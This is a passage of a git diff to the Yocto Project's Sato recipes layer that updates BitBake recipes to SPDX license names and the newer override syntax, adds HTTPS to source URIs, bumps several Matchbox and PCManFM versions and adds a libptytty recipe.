-IMAGE_ROOTFS_EXTRA_SPACE = "1524288"
-
-# ptests need more memory than standard to avoid the OOM killer
-QB_MEM = "-m 1024"
-
-# Sadly at the moment the fast set of ptests is not robust enough and sporadically fails in a couple of places
-PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb b/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb
deleted file mode 100644
index bf749acd79..0000000000
--- a/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require core-image-sato-sdk.bb
-require conf/distro/include/ptest-packagelists.inc
-
-DESCRIPTION += "Also includes ptest packages."
-
-PROVIDES += "core-image-sato-ptest"
-
-# Also include ptests which may not otherwise be included in a sato image
-IMAGE_INSTALL += "${PTESTS_FAST} ${PTESTS_SLOW}"
-
-# This image is sufficiently large (~1.8GB) that we need to be careful that it fits in a live
-# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
-# box) and explicitly add just 1100MB.
-# strace-ptest in particular needs more than 500MB
-IMAGE_OVERHEAD_FACTOR = "1.0"
-IMAGE_ROOTFS_EXTRA_SPACE = "1124288"
-
-# ptests need more memory than standard to avoid the OOM killer
-# also lttng-tools needs /tmp that has at least 1G
-QB_MEM = "-m 2048"
-
-# Sadly at the moment the full set of ptests is not robust enough and sporadically fails in random places
-PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-sato/images/core-image-sato-sdk.bb b/meta/recipes-sato/images/core-image-sato-sdk.bb
index d7cc52b52b..afab473b52 100644
--- a/meta/recipes-sato/images/core-image-sato-sdk.bb
+++ b/meta/recipes-sato/images/core-image-sato-sdk.bb
@@ -3,9 +3,13 @@ require core-image-sato.bb
DESCRIPTION = "Image with Sato support that includes everything within \
core-image-sato plus meta-toolchain, development headers and libraries to \
form a standalone SDK."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "dev-pkgs tools-sdk \
tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks ssh-server-openssh"
IMAGE_INSTALL += "kernel-devsrc"
+# Compiling stuff, specifically SystemTap probes, can require lots of memory
+# See https://bugzilla.yoctoproject.org/show_bug.cgi?id=14673
+QB_MEM = "-m 768"
diff --git a/meta/recipes-sato/images/core-image-sato.bb b/meta/recipes-sato/images/core-image-sato.bb
index 673106eb6d..9200ae5440 100644
--- a/meta/recipes-sato/images/core-image-sato.bb
+++ b/meta/recipes-sato/images/core-image-sato.bb
@@ -1,6 +1,8 @@
+SUMMARY = "Image with Sato, a mobile environment and visual style for mobile devices."
DESCRIPTION = "Image with Sato, a mobile environment and visual style for \
mobile devices. The image supports X11 with a Sato theme, Pimlico \
applications, and contains terminal, editor, and file manager."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "splash package-management x11-base x11-sato ssh-server-dropbear hwcodecs"
@@ -8,8 +10,9 @@ LICENSE = "MIT"
inherit core-image
-TOOLCHAIN_HOST_TASK_append = " nativesdk-intltool nativesdk-glib-2.0"
-TOOLCHAIN_HOST_TASK_remove_task-populate-sdk-ext = " nativesdk-intltool nativesdk-glib-2.0"
+TOOLCHAIN_HOST_TASK:append = " nativesdk-intltool nativesdk-glib-2.0"
+TOOLCHAIN_HOST_TASK:remove:task-populate-sdk-ext = " nativesdk-intltool nativesdk-glib-2.0"
QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
-QB_MEM_qemumips = "-m 256"
+QB_MEM:qemuarmv5 = "-m 256"
+QB_MEM:qemumips = "-m 256"
diff --git a/meta/recipes-sato/l3afpad/l3afpad_git.bb b/meta/recipes-sato/l3afpad/l3afpad_git.bb
index 6fdcc3e392..5540083928 100644
--- a/meta/recipes-sato/l3afpad/l3afpad_git.bb
+++ b/meta/recipes-sato/l3afpad/l3afpad_git.bb
@@ -1,18 +1,22 @@
SUMMARY = "Simple GTK+ Text Editor"
+DESCRIPTION = "L3afpad is a simple GTK+ text editor that emphasizes simplicity. As development \
+focuses on keeping weight down to a minimum, only the most essential features \
+are implemented in the editor. L3afpad is simple to use, is easily compiled, \
+requires few libraries, and starts up quickly."
HOMEPAGE = "https://github.com/stevenhoneyman/l3afpad"
-# Note that COPYING seems to mistakenly contain LGPLv2.1.
-# The source code is marked GPLv2+ and COPYING used to contain
+# Note that COPYING seems to mistakenly contain LGPL-2.1.
+# The source code is marked GPL-2.0-or-later and COPYING used to contain
# that as well.
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
file://src/l3afpad.h;endline=20;md5=8848fd645cd45115d8cb47ca5c42a50e \
file://src/utils.c;endline=20;md5=ae4792f69d3bb7b7ba91d582ba9b1a05"
DEPENDS = "gtk+3 intltool-native gettext-native"
-PV = "0.8.18.1.11+git${SRCPV}"
-SRC_URI = "git://github.com/stevenhoneyman/l3afpad.git"
+PV = "0.8.18.1.11+git"
+SRC_URI = "git://github.com/stevenhoneyman/l3afpad.git;branch=master;protocol=https"
SRCREV ="3cdccdc9505643e50f8208171d9eee5de11a42ff"
S = "${WORKDIR}/git"
@@ -22,4 +26,4 @@ inherit autotools pkgconfig features_check mime-xdg
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
EXTRA_OECONF = "--disable-emacs --disable-print"
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
diff --git a/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch b/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch
new file mode 100644
index 0000000000..d3a458f100
--- /dev/null
+++ b/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch
@@ -0,0 +1,24 @@
+From 989ae1f3651686c1f1046fe1c1596d564c3f452d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 13 Dec 2021 14:33:01 +0100
+Subject: [PATCH] CMakeLists.txt: do not run cross-binary
+
+Upstream-Status: Inappropriate [issue reported at https://github.com/yusiwen/libptytty/issues/2]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index c1ad6c0..3bd4d97 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -271,7 +271,7 @@ if(NOT HAVE_UNIX_FDPASS)
+ message(FATAL_ERROR "libptytty requires unix-compliant filehandle passing ability")
+ endif()
+
+-check_c_source_runs(
++check_c_source_compiles(
+ "
+ #include <grp.h>
+ #include <sys/stat.h>
diff --git a/meta/recipes-sato/libptytty/libptytty_2.0.bb b/meta/recipes-sato/libptytty/libptytty_2.0.bb
new file mode 100644
index 0000000000..1199f0f44b
--- /dev/null
+++ b/meta/recipes-sato/libptytty/libptytty_2.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = " OS independent and secure pty/tty and utmp/wtmp/lastlog handling"
+HOMEPAGE = "http://software.schmorp.de/pkg/libptytty.html"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+
+SRC_URI = "http://dist.schmorp.de/libptytty/libptytty-${PV}.tar.gz \
+ file://0001-CMakeLists.txt-do-not-run-cross-binary.patch \
+ "
+SRC_URI[sha256sum] = "8033ed3aadf28759660d4f11f2d7b030acf2a6890cb0f7926fb0cfa6739d31f7"
+
+inherit cmake
+
+EXTRA_OECMAKE:append:libc-musl = " -DWTMP_SUPPORT=OFF"
diff --git a/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb b/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
index 547e851c15..caa34966cc 100644
--- a/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
+++ b/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
@@ -2,18 +2,18 @@ SUMMARY = "Matchbox GTK+ theme configuration application"
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://appearance/mb-appearance.c;endline=25;md5=ea92333cf8a6802639d62d874c114a28"
+ file://appearance/mb-appearance.c;endline=25;md5=f49d7ae8b8634a94315410cd2e055bdf"
DEPENDS = "gconf gtk+3"
-RDEPENDS_${PN} = "settings-daemon"
+RDEPENDS:${PN} = "settings-daemon"
-# SRCREV tagged 0.2
-SRCREV = "ef2192ce98d9374ffdad5f78544c3f8f353c16aa"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRCREV = "7182e603357250952aa24d90f6d89345f93da7ce"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https \
file://no-handed.patch"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
+PV = "0.2+git"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
deleted file mode 100644
index 5c23e85202..0000000000
--- a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Matchbox Window Manager Desktop"
-HOMEPAGE = "http://matchbox-project.org/"
-BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://src/desktop.c;endline=20;md5=36c9bf295e6007f3423095f405af5a2d \
- file://src/main.c;endline=19;md5=2044244f97a195c25b7dc602ac7e9a00"
-
-DEPENDS = "gtk+3 startup-notification dbus"
-SECTION = "x11/wm"
-
-# SRCREV tagged 2.2
-SRCREV = "6bc67d09da4147e5552fe30011a05a2c59d2f777"
-SRC_URI = "git://git.yoctoproject.org/${BPN}-2 \
- file://vfolders/* \
- "
-
-EXTRA_OECONF = "--enable-startup-notification --with-dbus"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig features_check
-
-# The startup-notification requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-do_install_append() {
- install -d ${D}${datadir}/matchbox/vfolders/
- install -m 0644 ${WORKDIR}/vfolders/* ${D}${datadir}/matchbox/vfolders/
-}
-
-FILES_${PN} += "${datadir}/matchbox/vfolders/"
diff --git a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.3.bb b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.3.bb
new file mode 100644
index 0000000000..3777f05b5a
--- /dev/null
+++ b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.3.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Matchbox Window Manager Desktop"
+DESCRIPTION = "A lightweight windows manager for embedded systems. It uses the desktop background to provide an application launcher and allows modules to be loaded for additional functionality."
+HOMEPAGE = "http://matchbox-project.org/"
+BUGTRACKER = "http://bugzilla.yoctoproject.org/"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://src/desktop.c;endline=20;md5=2e488557570c7dee53bfd0567e4273a9 \
+ file://src/main.c;endline=19;md5=5d2234b35efa927ab3ae36ebac52ba59"
+
+DEPENDS = "gtk+3 startup-notification dbus"
+SECTION = "x11/wm"
+
+SRCREV = "0fd6a0c3f3b7bbf4f4b46190d71f7aef35d6bbfd"
+SRC_URI = "git://git.yoctoproject.org/${BPN}-2;branch=master;protocol=https \
+ file://vfolders/ \
+ "
+
+EXTRA_OECONF = "--enable-startup-notification --with-dbus"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig features_check
+
+# The startup-notification requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+do_install:append() {
+ install -d ${D}${datadir}/matchbox/vfolders/
+ install -m 0644 ${WORKDIR}/vfolders/* ${D}${datadir}/matchbox/vfolders/
+}
+
+FILES:${PN} += "${datadir}/matchbox/vfolders/"
diff --git a/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb b/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
index dfc7fbad57..6b70948f16 100644
--- a/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
+++ b/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
@@ -1,9 +1,10 @@
SUMMARY = "Matchbox virtual keyboard for X11"
+DESCRIPTION = "An on screen 'virtual' or 'software' keyboard."
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
SECTION = "x11"
-LICENSE = "LGPLv2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
file://src/matchbox-keyboard.h;endline=17;md5=9d6586c69e4a926f3cb0b4425f24ba3c \
file://applet/applet.c;endline=18;md5=4a0f721724746b14d95b51ddd42b95e7"
@@ -12,7 +13,7 @@ DEPENDS = "libfakekey expat libxft"
#SRCREV for 0.1.1
SRCREV = "630d89068dc0a1e9199306d405cb32f892dfa4d3"
-SRC_URI = "git://git.yoctoproject.org/${BPN};branch=matchbox-keyboard-0-1 \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=matchbox-keyboard-0-1;protocol=https \
file://0001-desktop-file-Hide-the-keyboard-from-app-list.patch \
file://80matchboxkeyboard.sh"
@@ -32,19 +33,19 @@ PACKAGECONFIG[gtk3-im] = "--enable-gtk3-im,--disable-gtk3-im,gtk+3"
PACKAGES += "${PN}-im ${PN}-applet"
-FILES_${PN} = "${bindir}/ \
+FILES:${PN} = "${bindir}/ \
${sysconfdir} \
${datadir}/applications \
${datadir}/pixmaps \
${datadir}/matchbox-keyboard"
-FILES_${PN}-im = "${libdir}/gtk-2.0/*/immodules/*.so \
+FILES:${PN}-im = "${libdir}/gtk-2.0/*/immodules/*.so \
${libdir}/gtk-3.0/*/immodules/*.so"
-FILES_${PN}-applet = "${libdir}/matchbox-panel/*.so"
+FILES:${PN}-applet = "${libdir}/matchbox-panel/*.so"
-do_install_append () {
+do_install:append () {
install -d ${D}/${sysconfdir}/X11/Xsession.d/
install -m 755 ${WORKDIR}/80matchboxkeyboard.sh ${D}/${sysconfdir}/X11/Xsession.d/
@@ -55,5 +56,5 @@ do_install_append () {
GTKIMMODULES_PACKAGES = "${PN}-im"
-RDEPENDS_${PN} = "formfactor dbus-wait"
-RRECOMMENDS_${PN} = "${PN}-applet"
+RDEPENDS:${PN} = "formfactor dbus-wait"
+RRECOMMENDS:${PN} = "${PN}-applet"
diff --git a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
deleted file mode 100644
index 2e6f5b7085..0000000000
--- a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Simple GTK+ based panel for handheld devices"
-HOMEPAGE = "http://matchbox-project.org"
-BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://matchbox-panel/mb-panel.h;endline=10;md5=0b7db28f4b6863fb853d0467e590019a \
- file://applets/startup/startup.c;endline=22;md5=7cbcea60b667f609495222faf3e07917"
-
-DEPENDS = "gtk+3 startup-notification dbus dbus-glib dbus-glib-native"
-DEPENDS += " ${@bb.utils.contains("MACHINE_FEATURES", "acpi", "libacpi", "",d)}"
-DEPENDS += " ${@bb.utils.contains("MACHINE_FEATURES", "apm", "apmd", "",d)}"
-
-# The startup-notification requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-# SRCREV tagged 2.11 plus some autotools fixes
-SRCREV = "f82ca3f42510fb3ef10f598b393eb373a2c34ca7"
-
-RPROVIDES_${PN} = "matchbox-panel"
-RREPLACES_${PN} = "matchbox-panel"
-RCONFLICTS_${PN} = "matchbox-panel"
-
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
- file://0001-applets-systray-Allow-icons-to-be-smaller.patch \
- "
-
-EXTRA_OECONF = "--enable-startup-notification --enable-dbus"
-EXTRA_OECONF += " ${@bb.utils.contains("MACHINE_FEATURES", "acpi", "--with-battery=acpi", "",d)}"
-EXTRA_OECONF += " ${@bb.utils.contains("MACHINE_FEATURES", "apm", "--with-battery=apm", "",d)}"
-
-S = "${WORKDIR}/git"
-
-FILES_${PN} += "${libdir}/matchbox-panel/*.so \
- ${datadir}/matchbox-panel/brightness/*.png \
- ${datadir}/matchbox-panel/startup/*.png \
- ${datadir}/icons/"
-FILES_${PN}-dev += "${libdir}/matchbox-panel/*.la"
-
-inherit autotools pkgconfig features_check gettext
diff --git a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.12.bb b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.12.bb
new file mode 100644
index 0000000000..83425f60fe
--- /dev/null
+++ b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.12.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Simple GTK+ based panel for handheld devices"
+DESCRIPTION = "A flexible always present 'window bar' for holding application \
+launchers and small 'applet' style applications"
+HOMEPAGE = "http://matchbox-project.org"
+BUGTRACKER = "http://bugzilla.yoctoproject.org/"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://matchbox-panel/mb-panel.h;endline=10;md5=f007add2f09d6a1920ee5a28645e9ce1 \
+ file://applets/startup/startup.c;endline=22;md5=9ee7a4192e53cc00041ef445d4ff6909"
+
+DEPENDS = "gtk+3 startup-notification dbus dbus-glib dbus-glib-native"
+DEPENDS += " ${@bb.utils.contains("MACHINE_FEATURES", "acpi", "libacpi", "",d)}"
+
+# The startup-notification requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+SRCREV = "39fdbc40888c1c75cd7bfd9fd341e6ad58487fce"
+
+RPROVIDES:${PN} = "matchbox-panel"
+RREPLACES:${PN} = "matchbox-panel"
+RCONFLICTS:${PN} = "matchbox-panel"
+
+SRC_URI = "git://git.yoctoproject.org/${BPN};protocol=https;branch=master \
+ file://0001-applets-systray-Allow-icons-to-be-smaller.patch \
+ "
+
+EXTRA_OECONF = "--enable-startup-notification --enable-dbus"
+EXTRA_OECONF += " ${@bb.utils.contains("MACHINE_FEATURES", "acpi", "--with-battery=acpi", "",d)}"
+
+S = "${WORKDIR}/git"
+
+FILES:${PN} += "${libdir}/matchbox-panel/*.so \
+ ${datadir}/matchbox-panel/brightness/*.png \
+ ${datadir}/matchbox-panel/startup/*.png \
+ ${datadir}/icons/"
+FILES:${PN}-dev += "${libdir}/matchbox-panel/*.la"
+
+inherit autotools pkgconfig features_check gettext
diff --git a/meta/recipes-sato/matchbox-sato/matchbox-session-sato/session b/meta/recipes-sato/matchbox-sato/matchbox-session-sato/session
index 3a70574af9..61fea51054 100644
--- a/meta/recipes-sato/matchbox-sato/matchbox-session-sato/session
+++ b/meta/recipes-sato/matchbox-sato/matchbox-session-sato/session
@@ -22,7 +22,6 @@ matchbox-desktop &
START_APPLETS=showdesktop,windowselector
END_APPLETS=$KEYBOARD_APPLET,systray,startup-notify,notify
END_APPLETS=battery,$END_APPLETS # feature-acpi
-END_APPLETS=battery,$END_APPLETS # feature-apm
END_APPLETS=clock,$END_APPLETS
END_APPLETS=openmoko-panel-gsm,$END_APPLETS # feature-phone
diff --git a/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb b/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
index 966c5b5b92..90734b6bd0 100644
--- a/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
+++ b/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
@@ -2,12 +2,11 @@ SUMMARY = "Custom Matchbox session files for the Sato environment"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2.0+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://session;endline=3;md5=f8a5c5b9c279e52dc094d10e11c2be63"
SECTION = "x11"
-RDEPENDS_${PN} = "formfactor matchbox-theme-sato matchbox-panel-2 matchbox-desktop matchbox-session gconf"
-PR = "r30"
+RDEPENDS:${PN} = "formfactor matchbox-theme-sato matchbox-panel-2 matchbox-desktop matchbox-session gconf"
# This package is architecture specific because the session script is modified
# based on the machine architecture.
@@ -22,11 +21,11 @@ SRC_URI = "file://session \
file://index.theme"
S = "${WORKDIR}"
-FILES_${PN} += "${datadir}/themes/Sato/index.theme"
+FILES:${PN} += "${datadir}/themes/Sato/index.theme"
do_install() {
# This is the set of machine features that the script has markers for
- FEATURES="acpi apm phone"
+ FEATURES="acpi phone"
SCRIPT="${S}/sedder"
rm -f $SCRIPT
touch $SCRIPT
@@ -43,7 +42,7 @@ do_install() {
}
PACKAGE_WRITE_DEPS += "gconf-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
set_value() {
#type, name, value
gconftool-2 --config-source=xml::$D${sysconfdir}/gconf/gconf.xml.defaults --direct --type $1 --set /desktop/poky/interface/$2 "$3"
diff --git a/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb b/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
index 9f00281dde..f91c593f78 100644
--- a/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
+++ b/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
@@ -2,17 +2,17 @@ SUMMARY = "Lightweight GTK+ terminal application"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://main.c;endline=20;md5=96e39176d9e355639a0b8b1c7a840820"
+ file://main.c;endline=20;md5=7d9d802a36298b5c74440a880e2f4817"
DEPENDS = "gtk+3 vte"
SECTION = "x11/utils"
-#SRCREV tagged 0.2
-SRCREV = "161276d0f5d1be8187010fd0d9581a6feca70ea5"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRCREV = "99e6eb7db1b5fef110973d96194eec992a2515a2"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
+PV = "0.2+git"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
index ce683e9630..bd680111d9 100644
--- a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
+++ b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
@@ -10,7 +10,7 @@ SECTION = "x11/wm"
inherit autotools pkgconfig features_check
-FILES_${PN} += "${datadir}/themes"
+FILES:${PN} += "${datadir}/themes"
# The matchbox-wm requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
index 7a043d3447..c60a11c3c0 100644
--- a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
+++ b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
@@ -2,7 +2,7 @@ require matchbox-theme-sato.inc
# SRCREV tagged 0.2
SRCREV = "df085ba9cdaeaf2956890b0e29d7ea1779bf6c78"
-SRC_URI = "git://git.yoctoproject.org/matchbox-sato"
+SRC_URI = "git://git.yoctoproject.org/matchbox-sato;branch=master;protocol=https"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb b/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
index ed3f1a69a1..3f735e072b 100644
--- a/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
+++ b/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
@@ -3,7 +3,8 @@
#
SUMMARY = "Sato desktop"
-PR = "r33"
+DESCRIPTION = "Packagegroups provide a convenient mechanism of bundling a collection of packages."
+HOMEPAGE = "https://www.yoctoproject.org/"
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -12,7 +13,7 @@ REQUIRED_DISTRO_FEATURES = "x11"
PACKAGES = "${PN} ${PN}-base ${PN}-apps ${PN}-games"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PN}-base \
${PN}-apps \
${PN}-games \
@@ -20,8 +21,8 @@ RDEPENDS_${PN} = "\
NETWORK_MANAGER ?= "connman-gnome"
-SUMMARY_${PN}-base = "Sato desktop - base packages"
-RDEPENDS_${PN}-base = "\
+SUMMARY:${PN}-base = "Sato desktop - base packages"
+RDEPENDS:${PN}-base = "\
matchbox-desktop \
matchbox-session-sato \
matchbox-keyboard \
@@ -29,7 +30,7 @@ RDEPENDS_${PN}-base = "\
matchbox-keyboard-im \
matchbox-config-gtk \
xcursor-transparent-theme \
- adwaita-icon-theme \
+ sato-icon-theme \
settings-daemon \
shutdown-desktop \
${NETWORK_MANAGER} \
@@ -43,10 +44,10 @@ WEB ?= ""
#WEB = "epiphany"
GSTEXAMPLES ?= "gst-examples"
-GSTEXAMPLES_riscv64 = ""
+GSTEXAMPLES:riscv64 = ""
-SUMMARY_${PN}-apps = "Sato desktop - applications"
-RDEPENDS_${PN}-apps = "\
+SUMMARY:${PN}-apps = "Sato desktop - applications"
+RDEPENDS:${PN}-apps = "\
l3afpad \
matchbox-terminal \
sato-screenshot \
@@ -55,7 +56,7 @@ RDEPENDS_${PN}-apps = "\
${WEB} \
"
-SUMMARY_${PN}-games = "Sato desktop - games"
-RDEPENDS_${PN}-games = "\
+SUMMARY:${PN}-games = "Sato desktop - games"
+RDEPENDS:${PN}-games = "\
puzzles \
"
diff --git a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb
deleted file mode 100644
index 7885e0abae..0000000000
--- a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Fast lightweight tabbed filemanager"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://src/pcmanfm.h;endline=22;md5=417b3855771a3a87f8ad753d994491f0 \
- file://src/gseal-gtk-compat.h;endline=21;md5=46922c8691f58d124f9420fe16149ce2"
-
-SECTION = "x11"
-DEPENDS = "gtk+3 startup-notification libfm intltool-native gettext-native glib-2.0-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/pcmanfm-${PV}.tar.xz \
- file://gnome-fs-directory.png \
- file://gnome-fs-regular.png \
- file://gnome-mime-text-plain.png \
- file://emblem-symbolic-link.png \
- file://no-desktop.patch"
-
-SRC_URI[md5sum] = "d32ad2c9c7c52bff2004bbc120b53420"
-SRC_URI[sha256sum] = "6804043b3ee3a703edde41c724946174b505fe958703eadbd7e0876ece836855"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/pcmanfm/files/PCManFM%20%2B%20Libfm%20%28tarball%20release%29/PCManFM/"
-
-inherit autotools pkgconfig features_check mime-xdg
-
-# The startup-notification requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-EXTRA_OECONF = "--with-gtk=3"
-
-do_install_append () {
- install -d ${D}/${datadir}
- install -d ${D}/${datadir}/pixmaps/
-
- install -m 0644 ${WORKDIR}/*.png ${D}/${datadir}/pixmaps
-}
-
-FILES_${PN} += "${libdir}/pcmanfm"
-
-RRECOMMENDS_${PN} += "adwaita-icon-theme"
diff --git a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb
new file mode 100644
index 0000000000..0c5ed5e55e
--- /dev/null
+++ b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Fast lightweight tabbed filemanager"
+DESCRIPTION = "A free file manager application and the standard file manager of LXDE."
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
